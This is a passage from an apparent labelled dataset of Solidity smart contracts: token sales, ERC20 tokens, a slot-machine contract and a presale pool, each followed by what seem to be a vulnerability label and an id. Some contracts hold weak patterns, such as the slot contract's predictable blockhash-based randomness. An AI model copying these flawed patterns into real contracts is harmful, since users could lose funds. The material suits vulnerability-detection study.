contract USDPrice is Ownable {
using SafeMath for uint256;
uint256 public ETHUSD;
uint256 public updatedTime;
mapping (uint256 => uint256) public priceHistory;
event PriceUpdated(uint256 price);
constructor() public {
}
function getHistoricPrice(uint256 time) public view returns (uint256) {
return priceHistory[time];
}
function updatePrice(uint256 price) public onlyOwner {
require(price > 0);
priceHistory[updatedTime] = ETHUSD;
ETHUSD = price;
updatedTime = block.timestamp;
emit PriceUpdated(ETHUSD);
}
function getPrice(uint256 _weiAmount)
public view returns (uint256)
{
return _weiAmount.mul(ETHUSD);
}
}
interface MintableERC20 {
function mint(address _to, uint256 _amount) public returns (bool);
}
contract PreSale is Ownable, Crowdsale, MilestoneCrowdsale {
using SafeMath for uint256;
uint256 public cap;
uint256 public minimumContribution;
bool public isFinalized = false;
USDPrice private usdPrice;
event Finalized();
constructor(
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime,
uint256 _cap,
uint256 _minimumContribution,
USDPrice _usdPrice
)
Crowdsale(_rate, _wallet, _token)
MilestoneCrowdsale(_openingTime, _closingTime)
public
{
require(_cap > 0);
require(_minimumContribution > 0);
cap = _cap;
minimumContribution = _minimumContribution;
usdPrice = _usdPrice;
}
function capReached() public view returns (bool) {
return tokensSold >= cap;
}
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
emit Finalized();
isFinalized = true;
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return usdPrice.getPrice(_weiAmount).div(getCurrentRate());
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount, _tokenAmount);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableERC20(address(token)).mint(_beneficiary, _tokenAmount));
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokenAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount, _tokenAmount);
require(_weiAmount >= minimumContribution);
require(tokensSold.add(_tokenAmount) <= cap);
}
} | 0 | 39 |
pragma solidity ^0.4.24;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
function paused() public view returns(bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract IndividualLockableToken is ERC20Pausable, Ownable{
using SafeMath for uint256;
event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time);
event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time);
struct lockState {
uint256 locked_balance;
uint256 release_time;
}
uint256 public lock_period = 24 weeks;
mapping(address => lockState) internal userLock;
function setReleaseTime(address _holder, uint256 _release_time)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_release_time >= block.timestamp);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = _release_time;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function getReleaseTime(address _holder)
public
view
returns (uint256)
{
require(_holder != address(0));
return userLock[_holder].release_time;
}
function clearReleaseTime(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = 0;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balanceOf(_holder) >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_period;
}
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function decreaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(userLock[_holder].locked_balance >= _value);
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function clearLock(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
userLock[_holder].locked_balance = 0;
userLock[_holder].release_time = 0;
emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function getLockedBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return uint256(0);
return userLock[_holder].locked_balance;
}
function getFreeBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return balanceOf(_holder);
return balanceOf(_holder).sub(userLock[_holder].locked_balance);
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.approve(_spender, _value);
}
function increaseAllowance(
address _spender,
uint _addedValue
)
public
returns (bool success)
{
require(getFreeBalance(msg.sender) >= allowance(msg.sender, _spender).add(_addedValue));
return super.increaseAllowance(_spender, _addedValue);
}
function decreaseAllowance(
address _spender,
uint _subtractedValue
)
public
returns (bool success)
{
uint256 oldValue = allowance(msg.sender, _spender);
if (_subtractedValue < oldValue) {
require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue));
}
return super.decreaseAllowance(_spender, _subtractedValue);
}
}
contract WorldPay is IndividualLockableToken {
using SafeMath for uint256;
string public constant name = "WORLD Pay";
string public constant symbol = "WOPS";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 36523000000 * (10 ** uint256(decimals));
constructor()
public
{
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 0 | 1,486 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract RipplePro {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function RipplePro(
) public {
totalSupply = 18000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "RipplePro";
symbol = "XRPP";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
} | 1 | 3,020 |
pragma solidity ^0.4.10;
contract Slot {
uint constant BET_EXPIRATION_BLOCKS = 250;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_BET = 300000 ether;
uint constant JACKPOT_PERCENT = 10;
uint constant MINIPOT_PERCENT = 10;
uint[][] REELS = [
[1,2,1,3,1,4,5,3,5,6],
[1,2,1,3,1,4,1,3,1,6],
[4,5,3,5,4,2,4,3,5,6]
];
uint[] SYMBOL_MASK = [0, 1, 2, 4, 8, 16, 32];
uint[][] PAYTABLE = [
[0x010100, 2],
[0x010120, 4],
[0x010110, 4],
[0x040402, 8],
[0x040404, 8],
[0x080802, 12],
[0x080808, 12],
[0x202002, 16],
[0x020220, 16],
[0x202020, 100],
[0x020202, 9999]
];
address owner;
address pendingOwner;
uint acceptPrice;
uint public pendingBetAmount;
uint public jackpotPool;
uint public minipotPool;
uint public rollTimes;
uint public minipotTimes;
struct Roll {
uint bet;
uint8 lines;
uint8 rollCount;
uint blocknum;
address next;
}
struct PartnerShare {
address from;
uint share;
}
event RollBegin(address indexed from, uint bet, uint8 lines, uint count);
event RollEnd(address indexed from, uint bet, uint8 lines, uint32 wheel, uint win, uint minipot);
mapping(address => Roll[]) public rolls;
address public rollHead;
address public rollTail;
PartnerShare[] public partners;
constructor () public {
owner = msg.sender;
}
function setOwner(address newOwner, uint price) public {
require (msg.sender == owner, "Only owner can set new owner.");
require (newOwner != owner, "No need to set again.");
pendingOwner = newOwner;
acceptPrice = price;
}
function acceptOwner() payable public {
require (msg.sender == pendingOwner, "You are not pending owner.");
require (msg.value >= acceptPrice, "Amount not enough.");
owner.transfer(acceptPrice);
owner = pendingOwner;
}
function() public payable {
require (msg.value > 200 finney, 'Min investment required.');
if (owner != msg.sender) {
partners.push(PartnerShare(msg.sender, msg.value / 1 finney));
}
}
function kill() external {
require (msg.sender == owner, "Only owner can kill.");
require (pendingBetAmount == 0, "All spins need processed befor self-destruct.");
distribute();
selfdestruct(owner);
}
function rollBlockNumber(address addr) public view returns (uint) {
if (rolls[addr].length > 0) {
return rolls[addr][0].blocknum;
} else {
return 0;
}
}
function getPartnersCount() public view returns (uint) {
return partners.length;
}
function jackpot() public view returns (uint) {
return jackpotPool / 2;
}
function minipot() public view returns (uint) {
return minipotPool / 2;
}
function roll(uint8 lines, uint8 count) public payable {
require (rolls[msg.sender].length == 0, "Can't roll mutiple times.");
uint betValue = msg.value / count;
require (betValue >= MIN_BET && betValue <= MAX_BET, "Bet amount should be within range.");
rolls[msg.sender].push(Roll(betValue, lines, count, block.number, address(0)));
if (rollHead == address(0)) {
rollHead = msg.sender;
} else {
rolls[rollTail][0].next = msg.sender;
}
rollTail = msg.sender;
pendingBetAmount += msg.value;
jackpotPool += msg.value * JACKPOT_PERCENT / 100;
minipotPool += msg.value * MINIPOT_PERCENT / 100;
emit RollBegin(msg.sender, betValue, lines, count);
}
function check(uint maxCount) public {
require (maxCount > 0, 'No reason for check nothing');
uint i = 0;
address currentAddr = rollHead;
while (i < maxCount && currentAddr != address(0)) {
Roll storage rollReq = rolls[currentAddr][0];
if (rollReq.blocknum >= block.number) {
return;
}
checkRoll(currentAddr, rollReq);
rollHead = rollReq.next;
if (currentAddr == rollTail) {
rollTail = address(0);
}
delete rolls[currentAddr];
currentAddr = rollHead;
i++;
}
}
function checkRoll(address addr, Roll storage rollReq) private {
uint totalWin = 0;
if (block.number <= rollReq.blocknum + BET_EXPIRATION_BLOCKS) {
for (uint x = 0; x < rollReq.rollCount; x++) {
totalWin += doRoll(addr, rollReq.bet, rollReq.lines, rollReq.blocknum, pendingBetAmount + rollTimes + x);
}
} else {
totalWin = rollReq.bet * rollReq.rollCount - 2300;
}
pendingBetAmount -= rollReq.bet * rollReq.rollCount;
if (totalWin > 0) {
if (address(this).balance > totalWin + 2300) {
addr.transfer(totalWin);
} else {
partners.push(PartnerShare(addr, totalWin / 1 finney));
}
}
}
function doRoll(address addr, uint bet, uint8 lines, uint blocknum, uint seed) private returns (uint) {
uint[3] memory stops;
uint winRate;
uint entropy;
(stops, winRate, entropy) = calcRoll(addr, blocknum, seed);
uint wheel = stops[0]<<16 | stops[1]<<8 | stops[2];
uint win = bet * winRate;
if (winRate == 9999) {
win = jackpotPool / 2;
jackpotPool -= win;
}
rollTimes++;
uint minipotWin = 0;
if (0xffff / (entropy >> 32 & 0xffff) > (100 * (minipotTimes + 1)) - rollTimes) {
minipotTimes++;
minipotWin = minipotPool / 2;
minipotPool -= minipotWin;
}
emit RollEnd(addr, bet, lines, uint32(wheel), win, minipotWin);
return win + minipotWin;
}
function calcRoll(address addr, uint blocknum, uint seed) public view returns (uint[3] memory stops, uint winValue, uint entropy) {
require (block.number > blocknum, "Can't check in the same block or before.");
require (block.number <= blocknum + BET_EXPIRATION_BLOCKS, "Can't check for too old block.");
entropy = uint(keccak256(abi.encodePacked(addr, blockhash(blocknum), seed)));
stops = [REELS[0][entropy % REELS[0].length],
REELS[1][(entropy >> 8) % REELS[1].length],
REELS[2][(entropy >> 16) % REELS[2].length]];
winValue = calcPayout(stops[0], stops[1], stops[2]);
}
function calcPayout(uint p1, uint p2, uint p3) public view returns (uint) {
uint line = SYMBOL_MASK[p1] << 16 | SYMBOL_MASK[p2] << 8 | SYMBOL_MASK[p3];
uint pay = 0;
for (uint i = 0; i < PAYTABLE.length; i++) {
if (PAYTABLE[i][0] == line & PAYTABLE[i][0]) {
pay = PAYTABLE[i][1];
}
}
return pay;
}
function getBonus() public view returns (uint) {
return address(this).balance - pendingBetAmount - jackpotPool - minipotPool;
}
function distribute() public returns (uint result) {
bool isPartner = (owner == msg.sender);
uint totalShare = 0;
for (uint i = 0; i < partners.length; i++) {
if (partners[i].from == msg.sender) {
isPartner = true;
}
totalShare += partners[i].share;
}
require(isPartner, 'Only partner can distrubute bonus.');
uint bonus = getBonus();
if (totalShare > 0) {
uint price = ((bonus / 10) * 6) / totalShare;
if (price > 0) {
for (uint j = 0; j < partners.length; j++) {
uint share = partners[j].share * price;
partners[j].from.transfer(share);
if (partners[j].from == msg.sender) {
result += share;
}
}
}
if (price > 2 * 1 finney) {
delete partners;
}
}
uint ownerShare = (bonus / 10) * 4;
owner.transfer(ownerShare);
if (owner == msg.sender) {
result += ownerShare;
}
}
} | 0 | 169 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract WhiteList {
function checkMemberLevel (address addr) view public returns (uint) {}
}
contract PresalePool {
using SafeMath for uint;
uint8 public contractStage = 1;
address public owner;
uint[] public contributionCaps;
uint public feePct;
address public receiverAddress;
uint constant public contributionMin = 100000000000000000;
uint constant public maxGasPrice = 50000000000;
WhiteList constant public whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63);
uint public nextCapTime;
uint [] public nextContributionCaps;
uint public finalBalance;
uint[] public ethRefundAmount;
address public activeToken;
struct Contributor {
bool authorized;
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
mapping (address => Contributor) whitelist;
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
mapping (address => TokenAllocation) distributionMap;
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
event ContributorBalanceChanged (address contributor, uint totalBalance);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event TokensWithdrawn (address receiver, uint amount);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event ERC223Received (address token, uint value);
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
function PresalePool(address receiverAddr, uint[] capAmounts, uint fee) public {
require (fee < 100);
require (capAmounts.length>1 && capAmounts.length<256);
for (uint8 i=1; i<capAmounts.length; i++) {
require (capAmounts[i] <= capAmounts[0]);
}
owner = msg.sender;
receiverAddress = receiverAddr;
contributionCaps = capAmounts;
feePct = _toPct(fee,100);
whitelist[msg.sender].authorized = true;
}
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
function _ethDeposit () internal {
assert (contractStage == 1);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= contributionCaps[0]);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
require (newBalance <= _checkCap(msg.sender));
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAmount);
}
}
}
function authorize (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
_checkWhitelistContract(addr);
require (!whitelist[addr].authorized);
require ((cap > 0 && cap < contributionCaps.length) || (cap >= contributionMin && cap <= contributionCaps[0]) );
uint size;
assembly { size := extcodesize(addr) }
require (size == 0);
whitelist[addr].cap = cap;
whitelist[addr].authorized = true;
}
function authorizeMany (address[] addr, uint cap) public onlyOwner {
require (addr.length < 255);
require (cap > 0 && cap < contributionCaps.length);
for (uint8 i=0; i<addr.length; i++) {
authorize(addr[i], cap);
}
}
function revoke (address addr) public onlyOwner {
require (contractStage < 3);
require (whitelist[addr].authorized);
require (whitelistContract.checkMemberLevel(addr) == 0);
whitelist[addr].authorized = false;
if (whitelist[addr].balance > 0) {
uint amountToTransfer = whitelist[addr].balance;
whitelist[addr].balance = 0;
addr.transfer(amountToTransfer);
ContributorBalanceChanged(addr, 0);
}
}
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage < 3);
require (cap < contributionCaps.length || (cap >= contributionMin && cap <= contributionCaps[0]) );
_checkWhitelistContract(addr);
var c = whitelist[addr];
require (c.authorized);
uint amount = c.balance;
c.cap = cap;
uint capAmount = _checkCap(addr);
if (amount > capAmount) {
c.balance = capAmount;
addr.transfer(amount.sub(capAmount));
ContributorBalanceChanged(addr, capAmount);
}
}
function modifyLevelCap (uint level, uint cap) public onlyOwner {
require (contractStage < 3);
require (level > 0 && level < contributionCaps.length);
require (this.balance <= cap && contributionCaps[0] >= cap);
contributionCaps[level] = cap;
nextCapTime = 0;
}
function modifyAllLevelCaps (uint[] cap, uint time) public onlyOwner {
require (contractStage < 3);
require (cap.length == contributionCaps.length-1);
require (time == 0 || time>block.timestamp);
if (time == 0) {
for (uint8 i = 0; i < cap.length; i++) {
modifyLevelCap(i+1, cap[i]);
}
} else {
nextContributionCaps = contributionCaps;
nextCapTime = time;
for (i = 0; i < cap.length; i++) {
require (contributionCaps[i+1] <= cap[i] && contributionCaps[0] >= cap[i]);
nextContributionCaps[i+1] = cap[i];
}
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contributionCaps[0] = amount;
nextCapTime = 0;
for (uint8 i=1; i<contributionCaps.length; i++) {
if (contributionCaps[i]>amount) contributionCaps[i]=amount;
}
}
function _checkCap (address addr) internal returns (uint) {
_checkWhitelistContract(addr);
var c = whitelist[addr];
if (!c.authorized) return 0;
if (nextCapTime>0 && block.timestamp>nextCapTime) {
contributionCaps = nextContributionCaps;
nextCapTime = 0;
}
if (c.cap<contributionCaps.length) return contributionCaps[c.cap];
return c.cap;
}
function _checkWhitelistContract (address addr) internal {
var c = whitelist[addr];
if (!c.authorized) {
var level = whitelistContract.checkMemberLevel(addr);
if (level == 0 || level >= contributionCaps.length) return;
c.cap = level;
c.authorized = true;
}
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (contributionCaps[0],this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (!c.authorized) {
cap = whitelistContract.checkMemberLevel(addr);
if (cap == 0) return (0,0,0);
} else {
cap = c.cap;
}
balance = c.balance;
if (contractStage == 1) {
if (cap<contributionCaps.length) {
if (nextCapTime == 0 || nextCapTime > block.timestamp) {
cap = contributionCaps[cap];
} else {
cap = nextContributionCaps[cap];
}
}
remaining = cap.sub(balance);
if (contributionCaps[0].sub(this.balance) < remaining) remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (balance, cap, remaining);
}
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(receiverAddress, amountInWei);
}
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 0 | 1,355 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
